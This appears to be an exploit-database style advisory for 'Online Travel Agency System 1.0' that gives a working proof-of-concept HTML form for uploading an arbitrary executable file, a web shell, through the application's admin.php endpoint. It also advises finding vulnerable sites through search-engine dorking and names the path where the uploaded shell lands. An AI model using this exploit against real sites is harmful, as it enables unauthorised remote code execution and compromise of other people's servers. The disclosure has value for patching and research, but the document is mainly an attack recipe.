Online Travel Agency System 1.0 Shell Upload

`=============================================================================================================================================  
| # Title : Travel v1.0 Remote File Upload Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) |  
| # Vendor : https://github.com/oretnom23/php-travel-agency-system |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following html code uploads a executable malicious file remotely .  
  
<form action="http://127.0.0.1/tour/admin/operations/admin.php?id=2" method="POST" enctype="multipart/form-data">   
<label for="file">Upload File:</label>  
<input type="file" id="file" name="file"><br><br>  
<input type="submit" name="Fcuk Up" value="Fcuk Up">  
</form>  
  
  
[+] Go to the line 1.  
  
[+] Set the target site link Save changes and apply .   
  
[+] infected file : /tour/admin/operations/admin.php.   
  
[+] save code as poc.html .  
  
[+] Path : http://127.0.0.1/tour/admin/upload/webadmin.php  
  
  
Greetings to :==================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |  
================================================================  
`